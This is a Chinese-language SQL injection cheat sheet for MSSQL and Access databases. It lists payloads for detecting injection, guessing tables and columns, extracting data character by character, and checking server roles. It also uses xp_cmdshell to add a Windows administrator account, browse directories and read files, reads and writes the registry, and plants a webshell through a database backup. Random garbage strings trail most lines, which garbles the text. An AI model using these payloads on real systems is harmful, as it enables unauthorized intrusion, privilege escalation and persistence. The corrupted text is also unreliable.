1.判断是否有注入;and 1=1 ;and 1=2 ;R/=9l
2.初步判断是否是mssql ;and user>0 7%aB>uA
,]o32@
3.注入参数是字符'and [查询条件] and ''=' D@mDhhK_
Am-JB
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8,%y`tUn>u
z2-=fIr.h
5.判断数据库系统 @~zhAU!
}UX >O
;and (select count(*) from sysobjects)>0 mssql Wkf)4!
!I:6L7HdwB
;and (select count(*) from msysobjects)>0 access gbo{Zgf<
!j\yt
?vvjwys@
"ibKi=
6.猜数据库 ;and (select Count(*) from [数据库名])>0 R_/T bz
+W-sb5)
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q7i^VN
!DLIIKO78
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 n`CmbM@@
D`Fl*Wc4H
9.(1)猜字段的ascii值(access) u U\UULH0
Q5baY\"9^
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 pS51fF9
tk ~7>S
(2)猜字段的ascii值(mssql)
ZQ@^(64
nc([e9_9v
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 jo+T!CUM'
T"3WB o
10.测试权限结构(mssql) ;5oY)1
+>{{91mN
D_'Zucq
B>gC75
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ^lbOv}C*
F)!B%4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- sA:0b5_a
o:m:9dn
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Lk`0z
M7UVL&_z%
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- P oC*>R8
=TU"B-*
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7(ZI]<
N9_9{M{
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- s}UPe)Vu
2g|+*.*`
;and 1=(select IS_MEMBER('db_owner'));-- Gu9Ap<>!
ZCV&v47\p_
c[ga@Vy
~u7a50
11.添加mssql和系统的帐户 l=xy_ TCf
Iy\K&)5?
;exec master.dbo.sp_addlogin username;-- Xq,{)G%9nM
;exec master.dbo.sp_password null,username,password;-- =p ^Sn,t
=f?| f
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- u:<%!?
lfb]xu]O
;exec master.dbo.xp_cmdshell 'net user username password 'lg6<M%#[
9tqX77UK
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fk;39$[
@>&UoH}2
;exec master.dbo.xp_cmdshell 'net user username password /add';-- a'W-& j
-g_PJ.Hk
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- C {gYrz)
Vtr0=-m&
LBbk]I
x_AG=5OJX,
12.(1)遍历目录 {
+MqXeq
>4b-NS/}0
;create table dirs(paths varchar(100), id int) V(w2k^7)F
xLX:>64'o>
;insert dirs exec master.dbo.xp_dirtree 'c:\' 6E85mfFS
' !ZFK}
;and (select top 1 paths from dirs)>0 T ^%$
px".pYr0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) S"V|BU
JM@MNS_||(
mQ:lj$Gf
j8_WEjG
(2)遍历目录 U2\zl
gVEW*8
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Gd%KBb
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9!}&&]Q`
0Evq</
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 fMP$o3;
="JLUq*]s
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !*'uPw:l2
Sc`W'q^X
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =T|Z[/fto
Tz:mj
rq:R6e
Xq` '^)
13.mssql中的存储过程 XN'x`%!*3#
2a3i]e5Kt
xp_regenumvalues 注册表根键, 子键 s:~3|D][
#0zMPh /U}
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 OxZw;yD
3T+#d-\
xp_regread 根键,子键,键值名 /:~mRf^
_r^Cu.[7
;exec xp_regread y?zNxk/p
:?O+EE
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2aNCcZw0
37Q9goMov
xp_regwrite 根键,子键, 值名, 值类型, 值 Z4b<$t[u
#"jEc*&=
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ckHHD|
h}nceH0s3d
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 >T'^&l(:
CuR.a
xp_regdeletevalue 根键,子键,值名 Wz`MEyj
Hw-,sze j"
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 |W[BqQIf
[y F>W$Bn%
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ep>*]'
7`9J.L&,;
WyF1Fw
KU|dw^Y k
14.mssql的backup创建webshell ]k-<[Z;I,
1Y'9|+y+
use model *F42GiBZR
URz$hcI8
create table cmd(str image); Y&6vTU
ZaIlo5
insert into cmd(str) values (''); KP(RK4F
c*sK| U7)
backup database model to disk='c:\l.asp'; p(g0+.?`~
mR\rK&'6
@zSI@Oq_
+l+8Z:i<
15.mssql内置函数 Vv8e"S
<xe=G]v
;and (select @@version)>0 获得Windows的版本号 6nRXRO
j-e/nZR@
;and user_name()='dbo' 判断当前系统的连接用户是不是sa |j3mI\ANF
aY&